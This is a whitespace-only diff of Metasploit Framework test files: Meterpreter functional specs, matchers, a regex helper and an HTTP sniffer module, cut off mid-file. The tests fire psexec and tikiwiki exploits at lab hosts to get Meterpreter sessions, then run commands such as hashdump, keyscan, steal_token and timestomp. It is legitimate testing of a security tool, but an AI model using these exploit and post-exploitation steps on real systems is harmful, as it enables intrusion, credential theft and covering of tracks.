b/test/functional/meterpreter/meterpreter_java_spec.rb index aa5d090772..cb63843318 100644 --- a/test/functional/meterpreter/meterpreter_java_spec.rb +++ b/test/functional/meterpreter/meterpreter_java_spec.rb @@ -10,83 +10,83 @@ require 'meterpreter_specs' module MsfTest describe "JavaMeterpreter" do - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs - - # This include brings in all the specs that are specific to the java - # meterpreter - include MsfTest::JavaMeterpreterSpecs + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs + + # This include brings in all the specs that are specific to the java + # meterpreter + include MsfTest::JavaMeterpreterSpecs - before :all do - @verbose = true - - @meterpreter_type = "java" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + before :all do + @verbose = true + + @meterpreter_type = "java" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" - create_session_java - end + create_session_java + end - before :each do + before :each do - end + end - after :each do - @session.init_ui(@input, @output) - end - - after :all do - #FileUtils.rm_rf("*.jpeg") - #FileUtils.rm_rf("payload.jar") - FileUtils.rm_rf(@output_directory) - end + after :each do + @session.init_ui(@input, @output) + end + + after :all do + #FileUtils.rm_rf("*.jpeg") + #FileUtils.rm_rf("payload.jar") + FileUtils.rm_rf(@output_directory) + end - - def create_session_java + + def create_session_java - ## Setup for win32 - @framework = Msf::Simple::Framework.create - - test_modules_path = File.join(File.dirname(__FILE__), '..', '..', 'modules') - @framework.modules.add_module_path(test_modules_path) - - @exploit_name = 'test/java_tester' - @payload_name = 'java/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) + ## Setup for win32 + @framework = Msf::Simple::Framework.create + + test_modules_path = File.join(File.dirname(__FILE__), '..', '..', 'modules') + @framework.modules.add_module_path(test_modules_path) + + @exploit_name = 'test/java_tester' + @payload_name = 'java/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) - puts @session.inspect + puts @session.inspect - ## If a session came back, try to interact with it. - if @session - @session.load_stdapi - else - raise Exception "Couldn't get a session!" - end - end + ## If a session came back, try to interact with it. + if @session + @session.load_stdapi + else + raise Exception "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/meterpreter_php_spec.rb b/test/functional/meterpreter/meterpreter_php_spec.rb index 20aa632163..c0caaa31d1 100644 --- a/test/functional/meterpreter/meterpreter_php_spec.rb +++ b/test/functional/meterpreter/meterpreter_php_spec.rb @@ -10,74 +10,74 @@ require 'meterpreter_specs' module MsfTest describe "PhpMeterpreter" do - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs - before :all do - @verbose = true - - @meterpreter_type = "php" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + before :all do + @verbose = true + + @meterpreter_type = "php" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" - create_session_php - end + create_session_php + end - before :each do + before :each do - end + end - after :each do - @session.init_ui(@input, @output) - end - - after :all do - FileUtils.rm_rf(@output_directory) - end + after :each do + @session.init_ui(@input, @output) + end + + after :all do + FileUtils.rm_rf(@output_directory) + end - - def create_session_php + + def create_session_php - ## Setup for php - @framework = Msf::Simple::Framework.create - - @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec' - @payload_name = 'php/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) + ## Setup for php + @framework = Msf::Simple::Framework.create + + @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec' + @payload_name = 'php/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {'RHOST' => "metasploitable"}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {'RHOST' => "metasploitable"}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) - puts @session.inspect + puts @session.inspect - ## If a session came back, try to interact with it. - if @session - @session.load_stdapi - else - raise Exception "Couldn't get a session!" - end - end + ## If a session came back, try to interact with it. + if @session + @session.load_stdapi + else + raise Exception "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/meterpreter_spec_helper.rb b/test/functional/meterpreter/meterpreter_spec_helper.rb index e7f2cc7bc1..f47d937a3a 100644 --- a/test/functional/meterpreter/meterpreter_spec_helper.rb +++ b/test/functional/meterpreter/meterpreter_spec_helper.rb @@ -1,58 +1,58 @@ module MsfTest module MeterpreterSpecHelper - def self.included(base) + def self.included(base) base.class_eval do - def generic_failure_strings - ['fail', 'error', 'exception'] - end - - def generic_failure_exception_strings - ['nserror.dll', 'tiki-error.php','tiki-error_simple.php','tiki-rss_error.php'] ##ugh, this is dependent on the target - end + def generic_failure_strings + ['fail', 'error', 'exception'] + end + + def generic_failure_exception_strings + ['nserror.dll', 'tiki-error.php','tiki-error_simple.php','tiki-rss_error.php'] ##ugh, this is dependent on the target + end - def hlp_run_command_check_output(name,command,success_strings=[],fail_strings=[], fail_exception_strings=[]) + def hlp_run_command_check_output(name,command,success_strings=[],fail_strings=[], fail_exception_strings=[]) - fail_strings = fail_strings | generic_failure_strings - fail_exception_strings = fail_exception_strings | generic_failure_exception_strings + fail_strings = fail_strings | generic_failure_strings + fail_exception_strings = fail_exception_strings | generic_failure_exception_strings - temp_command_file = "#{@output_directory}/#{name}" - - command_output = Rex::Ui::Text::Output::File.new(temp_command_file) - @session.init_ui(@input, command_output) - - command_output.print_line("meterpreter_functional_test_start") - - if @verbose - puts "Running Command: " + command - end - - @session.run_cmd(command) - command_output.print_line("meterpreter_functional_test_end") - data = hlp_file_to_string(temp_command_file) - - data.should contain_a_complete_test - data.should contain_all_successes - data.should contain_no_failures_except - end - - def hlp_file_to_string(filename) - data = "" - f = File.open(filename, "r") - f.each_line do |line| - data += line - end - return data - end - - def hlp_string_to_file(string, filepath) - # Create a new file and write to it - File.open(filepath, 'w') do |f2| - f2.puts string - end - end - end - end + temp_command_file = "#{@output_directory}/#{name}" + + command_output = Rex::Ui::Text::Output::File.new(temp_command_file) + @session.init_ui(@input, command_output) + + command_output.print_line("meterpreter_functional_test_start") + + if @verbose + puts "Running Command: " + command + end + + @session.run_cmd(command) + command_output.print_line("meterpreter_functional_test_end") + data = hlp_file_to_string(temp_command_file) + + data.should contain_a_complete_test + data.should contain_all_successes + data.should contain_no_failures_except + end + + def hlp_file_to_string(filename) + data = "" + f = File.open(filename, "r") + f.each_line do |line| + data += line + end + return data + end + + def hlp_string_to_file(string, filepath) + # Create a new file and write to it + File.open(filepath, 'w') do |f2| + f2.puts string + end + end + end + end end end diff --git a/test/functional/meterpreter/meterpreter_specs.rb b/test/functional/meterpreter/meterpreter_specs.rb index 5e2174354c..e2ec4927db 100644 --- a/test/functional/meterpreter/meterpreter_specs.rb +++ b/test/functional/meterpreter/meterpreter_specs.rb @@ -1,108 +1,108 @@ module MsfTest module MeterpreterSpecs - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when running each command" do - commands = [ "?", - "background", - "bgkill", - "bglist", - "bgrun", - "channel", - "close", - "exit", - "help", - "interact", - #"irb", - "migrate", - #"quit", - "read", - "run", - "use", - "write", - "cat", - "cd", - "del", - "download", - #"edit", - "getlwd", - "getwd", - "lcd", - "lpwd", - "ls", - "mkdir", - "pwd", - "rm", - "rmdir", - "search", - "upload", - "ipconfig", - "portfwd", - "route", - "clearev", - "drop_token", - "execute", - "getpid", - "getprivs", - "getuid", - "kill", - "ps", - #"reboot", - "reg", - "rev2self", - #"shell", - #"shutdown", - "steal_token", - "sysinfo", - "enumdesktops", - "getdesktop", - "idletime", - "keyscan_dump", - "keyscan_start", - "keyscan_stop", - "screenshot", - "setdesktop", - "uictl", - "getsystem", - "hashdump", - "timestomp" - ] + it "should not error when running each command" do + commands = [ "?", + "background", + "bgkill", + "bglist", + "bgrun", + "channel", + "close", + "exit", + "help", + "interact", + #"irb", + "migrate", + #"quit", + "read", + "run", + "use", + "write", + "cat", + "cd", + "del", + "download", + #"edit", + "getlwd", + "getwd", + "lcd", + "lpwd", + "ls", + "mkdir", + "pwd", + "rm", + "rmdir", + "search", + "upload", + "ipconfig", + "portfwd", + "route", + "clearev", + "drop_token", + "execute", + "getpid", + "getprivs", + "getuid", + "kill", + "ps", + #"reboot", + "reg", + "rev2self", + #"shell", + #"shutdown", + "steal_token", + "sysinfo", + "enumdesktops", + "getdesktop", + "idletime", + "keyscan_dump", + "keyscan_start", + "keyscan_stop", + "screenshot", + "setdesktop", + "uictl", + "getsystem", + "hashdump", + "timestomp" + ] - ## Run each command, check for execeptions - commands.each do |command| - hlp_run_command_check_output("basic_#{command}",command) - end - end + ## Run each command, check for execeptions + commands.each do |command| + hlp_run_command_check_output("basic_#{command}",command) + end + end - it "should not error when running help" do - success_strings = [ 'Core Commands', - 'Stdapi: File system Commands', - 'Stdapi: Networking Commands', - 'Stdapi: System Commands', - 'Stdapi: User interface Commands'] - - hlp_run_command_check_output("help","help", success_strings) - end - - it "should not error when running the help shortcut" do - success_strings = [ 'Core Commands', - 'Stdapi: File system Commands', - 'Stdapi: Networking Commands', - 'Stdapi: System Commands', - 'Stdapi: User interface Commands' ] - - hlp_run_command_check_output("help_shortcut","?", success_strings) - end - - it "should not error when checking for background channels" do - success_strings = [ 'No active channels.' ] - hlp_run_command_check_output("channel_list_empty","channel -l", success_strings) - end - - end - end + it "should not error when running help" do + success_strings = [ 'Core Commands', + 'Stdapi: File system Commands', + 'Stdapi: Networking Commands', + 'Stdapi: System Commands', + 'Stdapi: User interface Commands'] + + hlp_run_command_check_output("help","help", success_strings) + end + + it "should not error when running the help shortcut" do + success_strings = [ 'Core Commands', + 'Stdapi: File system Commands', + 'Stdapi: Networking Commands', + 'Stdapi: System Commands', + 'Stdapi: User interface Commands' ] + + hlp_run_command_check_output("help_shortcut","?", success_strings) + end + + it "should not error when checking for background channels" do + success_strings = [ 'No active channels.' ] + hlp_run_command_check_output("channel_list_empty","channel -l", success_strings) + end + + end + end end end diff --git a/test/functional/meterpreter/meterpreter_win32_spec.rb b/test/functional/meterpreter/meterpreter_win32_spec.rb index 80f323d554..4a53adea17 100644 --- a/test/functional/meterpreter/meterpreter_win32_spec.rb +++ b/test/functional/meterpreter/meterpreter_win32_spec.rb @@ -14,91 +14,91 @@ module MsfTest describe "Win32Meterpreter" do - # Include Custom Matchers - include MsfTest::MsfMatchers + # Include Custom Matchers + include MsfTest::MsfMatchers - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs - # This include brings in all the specs that are specific to the - # windows meterpreter platforms - include MsfTest::WindowsMeterpreterSpecs + # This include brings in all the specs that are specific to the + # windows meterpreter platforms + include MsfTest::WindowsMeterpreterSpecs - before :all do - @verbose = true - - @meterpreter_type = "win32" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + before :all do + @verbose = true + + @meterpreter_type = "win32" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" - create_session_windows_x32 - end + create_session_windows_x32 + end - before :each do + before :each do - end + end - after :each do - @session.init_ui(@input, @output) - end + after :each do + @session.init_ui(@input, @output) + end - after :all do - - ## Clean up test output - FileUtils.rm_rf(@output_directory) + after :all do + + ## Clean up test output + FileUtils.rm_rf(@output_directory) - ## Screenshot command leaves .jpegs :( - ## TODO - fix the meterpreter command to write to - ## TODO - an arbitrary file. - Dir.new(File.dirname(__FILE__)).each do |file| - if file =~ /.jpeg/ - File.delete(file) - end - end - - end - - def create_session_windows_x32 + ## Screenshot command leaves .jpegs :( + ## TODO - fix the meterpreter command to write to + ## TODO - an arbitrary file. + Dir.new(File.dirname(__FILE__)).each do |file| + if file =~ /.jpeg/ + File.delete(file) + end + end + + end + + def create_session_windows_x32 - ## Setup for win32 - @framework = Msf::Simple::Framework.create - @exploit_name = 'windows/smb/psexec' - @payload_name = 'windows/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) + ## Setup for win32 + @framework = Msf::Simple::Framework.create + @exploit_name = 'windows/smb/psexec' + @payload_name = 'windows/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) - ## If a session came back, try to interact with it. - if @session - puts "got a session" - @session.load_stdapi - else - puts "unable to get session" - #flunk "Couldn't get a session!" - end - end + ## If a session came back, try to interact with it. + if @session + puts "got a session" + @session.load_stdapi + else + puts "unable to get session" + #flunk "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/windows_meterpreter_specs.rb b/test/functional/meterpreter/windows_meterpreter_specs.rb index 5fa044f384..5220ee137b 100644 --- a/test/functional/meterpreter/windows_meterpreter_specs.rb +++ b/test/functional/meterpreter/windows_meterpreter_specs.rb @@ -1,49 +1,49 @@ module MsfTest module WindowsMeterpreterSpecs - ## This file is intended to be used in conjunction with a harness, - ## such as meterpreter_win32_spec.rb + ## This file is intended to be used in conjunction with a harness, + ## such as meterpreter_win32_spec.rb - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when uploading a file to a windows box" do - upload_success_strings = [ 'uploading', - 'uploaded' ] + it "should not error when uploading a file to a windows box" do + upload_success_strings = [ 'uploading', + 'uploaded' ] - ## create a file to upload - filename = "/tmp/whatever" - if File.exist?(filename) - FileUtils.rm(filename) - end - hlp_string_to_file("owned!", filename) + ## create a file to upload + filename = "/tmp/whatever" + if File.exist?(filename) + FileUtils.rm(filename) + end + hlp_string_to_file("owned!", filename) - ## run the upload / quit commands - hlp_run_command_check_output("upload","upload #{filename} C:\\", upload_success_strings) - #hlp_run_command_check_output("quit","quit") + ## run the upload / quit commands + hlp_run_command_check_output("upload","upload #{filename} C:\\", upload_success_strings) + #hlp_run_command_check_output("quit","quit") - ## clean up - FileUtils.rm(filename) - end - - - it "should show the priv commands when running help" do - - success_strings = ['Priv: Elevate Commands', - 'Priv: Password database Commands', - 'Priv: Timestomp Commands' ] - - hlp_run_command_check_output("help_shortcut","help", success_strings) + ## clean up + FileUtils.rm(filename) + end + + + it "should show the priv commands when running help" do + + success_strings = ['Priv: Elevate Commands', + 'Priv: Password database Commands', + 'Priv: Timestomp Commands' ] + + hlp_run_command_check_output("help_shortcut","help", success_strings) - end - - it "should not error when taking a screenshot" do - success_strings = [ 'Screenshot saved to' ] - hlp_run_command_check_output("screenshot","screenshot", success_strings) - end - - end - end + end + + it "should not error when taking a screenshot" do + success_strings = [ 'Screenshot saved to' ] + hlp_run_command_check_output("screenshot","screenshot", success_strings) + end + + end + end end end diff --git a/test/hooks/array_to_s.rb b/test/hooks/array_to_s.rb index 003e804ba4..a8a902b16d 100644 --- a/test/hooks/array_to_s.rb +++ b/test/hooks/array_to_s.rb @@ -1,10 +1,10 @@ class Array - @@to_s_reported = {} - def to_s(*args) - if(not @@to_s_reported[caller[0].to_s]) - $stderr.puts "HOOK: Array#to_s at #{caller.join("\t")}" - @@to_s_reported[caller[0].to_s] = true - end - super(*args) - end + @@to_s_reported = {} + def to_s(*args) + if(not @@to_s_reported[caller[0].to_s]) + $stderr.puts "HOOK: Array#to_s at #{caller.join("\t")}" + @@to_s_reported[caller[0].to_s] = true + end + super(*args) + end end diff --git a/test/hooks/string_idx.rb b/test/hooks/string_idx.rb index c8ce4029b9..2b4794c946 100644 --- a/test/hooks/string_idx.rb +++ b/test/hooks/string_idx.rb @@ -1,11 +1,11 @@ class String - @@idx_reported = {} - def [](*args) - - if(args.length == 1 and args[0].class == ::Fixnum and not @@idx_reported[caller[0].to_s]) - $stderr.puts "HOOK: String[idx] #{caller.join("\t")}\n\n" - @@idx_reported[caller[0].to_s] = true - end - slice(*args) - end + @@idx_reported = {} + def [](*args) + + if(args.length == 1 and args[0].class == ::Fixnum and not @@idx_reported[caller[0].to_s]) + $stderr.puts "HOOK: String[idx] #{caller.join("\t")}\n\n" + @@idx_reported[caller[0].to_s] = true + end + slice(*args) + end end diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 6dd27c701b..71f89f5da0 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -3,66 +3,66 @@ module Msf module ModuleTest - attr_accessor :tests - attr_accessor :failures + attr_accessor :tests + attr_accessor :failures - def initialize(info={}) - @tests = 0 - @failures = 0 - super - end + def initialize(info={}) + @tests = 0 + @failures = 0 + super + end - def run_all_tests - tests = self.methods.select { |m| m.to_s =~ /^test_/ } - tests.each { |test_method| - self.send(test_method) - } + def run_all_tests + tests = self.methods.select { |m| m.to_s =~ /^test_/ } + tests.each { |test_method| + self.send(test_method) + } - end + end - def it(msg="", &block) - @tests += 1 - begin - result = block.call - unless result - print_error("FAILED: #{msg}") - print_error("FAILED: #{error}") if error - @failures += 1 - return - end - rescue ::Exception => e - print_error("FAILED: #{msg}") - print_error("Exception: #{e.class} : #{e}") - dlog("Exception in testing - #{msg}") - dlog("Call stack: #{e.backtrace.join("\n")}") - return - end + def it(msg="", &block) + @tests += 1 + begin + result = block.call + unless result + print_error("FAILED: #{msg}") + print_error("FAILED: #{error}") if error + @failures += 1 + return + end + rescue ::Exception => e + print_error("FAILED: #{msg}") + print_error("Exception: #{e.class} : #{e}") + dlog("Exception in testing - #{msg}") + dlog("Call stack: #{e.backtrace.join("\n")}") + return + end - print_good("#{msg}") - end + print_good("#{msg}") + end - def pending(msg="", &block) - print_status("PENDING: #{msg}") - end + def pending(msg="", &block) + print_status("PENDING: #{msg}") + end end module ModuleTest::PostTest - include ModuleTest - def run - print_status("Running against session #{datastore["SESSION"]}") - print_status("Session type is #{session.type} and platform is #{session.platform}") + include ModuleTest + def run + print_status("Running against session #{datastore["SESSION"]}") + print_status("Session type is #{session.type} and platform is #{session.platform}") - t = Time.now - @tests = 0; @failures = 0 - run_all_tests + t = Time.now + @tests = 0; @failures = 0 + run_all_tests - vprint_status("Testing complete in #{Time.now - t}") - if (@failures > 0) - print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") - else - print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") - end - end + vprint_status("Testing complete in #{Time.now - t}") + if (@failures > 0) + print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") + else + print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") + end + end end end diff --git a/test/lib/msf_matchers.rb b/test/lib/msf_matchers.rb index c62d3daa1b..8438690dbe 100644 --- a/test/lib/msf_matchers.rb +++ b/test/lib/msf_matchers.rb @@ -5,90 +5,90 @@ module MsfTest module MsfMatchers - class ContainACompleteTest + class ContainACompleteTest - def initialize() - @r = Regexr.new(true) - end + def initialize() + @r = Regexr.new(true) + end - def matches?(data) - @data = data - return @r.verify_start_and_end(@data,"meterpreter_functional_test_start", "meterpreter_functional_test_end") - end + def matches?(data) + @data = data + return @r.verify_start_and_end(@data,"meterpreter_functional_test_start", "meterpreter_functional_test_end") + end - def failure_message - "Beginning or end was incorrect." - end + def failure_message + "Beginning or end was incorrect." + end - def negative_failure_message - "Expected to find a no beginning or end, but it matched." - end + def negative_failure_message + "Expected to find a no beginning or end, but it matched." + end - end - - def contain_a_complete_test - ContainACompleteTest.new - end + end + + def contain_a_complete_test + ContainACompleteTest.new + end - class ContainAllSuccesses + class ContainAllSuccesses - def initialize(successes=[]) - @successes = successes - @r = Regexr.new(true) - end + def initialize(successes=[]) + @successes = successes + @r = Regexr.new(true) + end - def matches?(data) - @data = data - @string = @r.find_strings_that_dont_exist_in_data(@data,@successes) - return true if !@string - nil - end + def matches?(data) + @data = data + @string = @r.find_strings_that_dont_exist_in_data(@data,@successes) + return true if !@string + nil + end - def failure_message - "expected all successes, but didn't find '#{@string}'" - end + def failure_message + "expected all successes, but didn't find '#{@string}'" + end - def negative_failure_message - "expected to miss successes but found'm all :(" - end + def negative_failure_message + "expected to miss successes but found'm all :(" + end - #alias :have_all_successes :contain_all_successes - end - - def contain_all_successes(successes=[]) - ContainAllSuccesses.new(successes) - end - - class ContainNoFailuresExcept + #alias :have_all_successes :contain_all_successes + end + + def contain_all_successes(successes=[]) + ContainAllSuccesses.new(successes) + end + + class ContainNoFailuresExcept - def initialize(failures=[],exceptions=[]) - @failures = failures - @exceptions = exceptions - @r = Regexr.new(true) - end + def initialize(failures=[],exceptions=[]) + @failures = failures + @exceptions = exceptions + @r = Regexr.new(true) + end - def matches?(data) - @data = data - @string = @r.find_strings_that_exist_in_data_except(@data,@failures,@exceptions) - return true if !@string - nil - end + def matches?(data) + @data = data + @string = @r.find_strings_that_exist_in_data_except(@data,@failures,@exceptions) + return true if !@string + nil + end - def failure_message - "expected no failure to be found, but found this: '#{@string}'" - end + def failure_message + "expected no failure to be found, but found this: '#{@string}'" + end - def negative_falure_message - "expected to find failures, but didn't find any :(" - end + def negative_falure_message + "expected to find failures, but didn't find any :(" + end - #alias :have_no_failures :contain_no_failures - end + #alias :have_no_failures :contain_no_failures + end - def contain_no_failures_except(failures=[],exceptions=[]) - ContainNoFailuresExcept.new(failures,exceptions) - end + def contain_no_failures_except(failures=[],exceptions=[]) + ContainNoFailuresExcept.new(failures,exceptions) + end - + end end diff --git a/test/lib/regexr.rb b/test/lib/regexr.rb index 5dcb835ecd..335f83195b 100644 --- a/test/lib/regexr.rb +++ b/test/lib/regexr.rb @@ -6,101 +6,101 @@ class Regexr - def initialize(verbose=false, case_insensitive=true) - @verbose = verbose - @case_insensitive = case_insensitive - end + def initialize(verbose=false, case_insensitive=true) + @verbose = verbose + @case_insensitive = case_insensitive + end - # Check for the beginning and end lines. Handy when you need to ensure a log has started & completed - def verify_start_and_end(data,the_start,the_end) - return false unless data - - data_lines = data.split("\n") - regex_start = Regexp.new(the_start, @case_insensitive) - regex_end = Regexp.new(the_end, @case_insensitive) + # Check for the beginning and end lines. Handy when you need to ensure a log has started & completed + def verify_start_and_end(data,the_start,the_end) + return false unless data + + data_lines = data.split("\n") + regex_start = Regexp.new(the_start, @case_insensitive) + regex_end = Regexp.new(the_end, @case_insensitive) - if regex_start =~ data_lines.first - return regex_end =~ data_lines.last - end - - return false - end + if regex_start =~ data_lines.first + return regex_end =~ data_lines.last + end + + return false + end - # Scan for any number of success lines. In order to pass, all successes must match. - def find_strings_that_dont_exist_in_data(data,regexes=[]) - return false unless data + # Scan for any number of success lines. In order to pass, all successes must match. + def find_strings_that_dont_exist_in_data(data,regexes=[]) + return false unless data - data_lines = data.split("\n") - - return nil unless regexes ## count as a pass - - if regexes - target_successes = regexes.size - success_count = 0 - regexes.each { |condition| + data_lines = data.split("\n") + + return nil unless regexes ## count as a pass + + if regexes + target_successes = regexes.size + success_count = 0 + regexes.each { |condition| - ## assume we haven't got it - found = false - - re = Regexp.new(condition, @case_insensitive) - - ## for each of our data lines - data_lines.each {|line| - - ## if it's a match - if line =~ re - found = true - break ## success! - end - } - - if !found - return condition ## return this string, it wasn't found. - end - } - end - - nil ## got all successes, woot! - end + ## assume we haven't got it + found = false + + re = Regexp.new(condition, @case_insensitive) + + ## for each of our data lines + data_lines.each {|line| + + ## if it's a match + if line =~ re + found = true + break ## success! + end + } + + if !found + return condition ## return this string, it wasn't found. + end + } + end + + nil ## got all successes, woot! + end - # Scan for failures -- if any single failure matches, the test returns true. - def find_strings_that_exist_in_data_except(data,regexes=[],exceptions=[]) + # Scan for failures -- if any single failure matches, the test returns true. + def find_strings_that_exist_in_data_except(data,regexes=[],exceptions=[]) - return false unless data + return false unless data - data_lines = data.split("\n") - - return nil unless regexes ## count as a pass + data_lines = data.split("\n") + + return nil unless regexes ## count as a pass - regexes.each { |condition| + regexes.each { |condition| - ## for each failure condition that we've been passed - re = Regexp.new(condition, @case_insensitive) + ## for each failure condition that we've been passed + re = Regexp.new(condition, @case_insensitive) - ## assume we're okay - found = false + ## assume we're okay + found = false - data_lines.each { |line| - if re =~ line - found = true # oh, we found a match - - # but let's check the exceptions - exceptions.map { |exception| - reg_exception = Regexp.new(exception, @case_insensitive) + data_lines.each { |line| + if re =~ line + found = true # oh, we found a match + + # but let's check the exceptions + exceptions.map { |exception| + reg_exception = Regexp.new(exception, @case_insensitive) - # If the exception matches here, we'll spare it - if reg_exception =~ line - found = false - break - end - } + # If the exception matches here, we'll spare it + if reg_exception =~ line + found = false + break + end + } - # If we didn't find an exception, we have to fail it. do not pass go. - return condition if found - end - } - } - - nil ## no failures found! - end + # If we didn't find an exception, we have to fail it. do not pass go. + return condition if found + end + } + } + + nil ## no failures found! + end end diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb index 15762b7a7b..766a833bab 100644 --- a/test/modules/auxiliary/test/capture.rb +++ b/test/modules/auxiliary/test/capture.rb @@ -15,49 +15,49 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Capture + include Msf::Auxiliary::Report + include Msf::Exploit::Capture - def initialize - super( - 'Name' => 'Simple Network Capture Tester', - 'Version' => '$Revision$', - 'Description' => 'This module sniffs HTTP GET requests from the network', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer' ] - ], - 'PassiveActions' => - [ - 'Sniffer' - ], - 'DefaultAction' => 'Sniffer' - ) + def initialize + super( + 'Name' => 'Simple Network Capture Tester', + 'Version' => '$Revision$', + 'Description' => 'This module sniffs HTTP GET requests from the network', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Sniffer' ] + ], + 'PassiveActions' => + [ + 'Sniffer' + ], + 'DefaultAction' => 'Sniffer' + ) - deregister_options('RHOST') - end + deregister_options('RHOST') + end - def run - print_status("Opening the network interface...") - open_pcap() + def run + print_status("Opening the network interface...") + open_pcap() - print_status("Sniffing HTTP requests...") - each_packet() do |pkt| - p = PacketFu::Packet.parse(pkt) - next unless p.is_tcp? - next if p.payload.empty? - if (p.payload =~ /GET\s+([^\s]+)\s+HTTP/smi) - url = $1 - print_status("GET #{url}") - break if url =~ /StopCapture/ - end + print_status("Sniffing HTTP requests...") + each_packet() do |pkt| + p = PacketFu::Packet.parse(pkt) + next unless p.is_tcp? + next if p.payload.empty? + if (p.payload =~ /GET\s+([^\s]+)\s+HTTP/smi) + url = $1 + print_status("GET #{url}") + break if url =~ /StopCapture/ + end - end - close_pcap() - print_status("Finished sniffing") - end + end + close_pcap() + print_status("Finished sniffing") + end end diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb index 07e14bd61f..b04ab8ac23 100644 --- a/test/modules/auxiliary/test/check.rb +++ b/test/modules/auxiliary/test/check.rb @@ -9,39 +9,39 @@ require 'msf/core' class 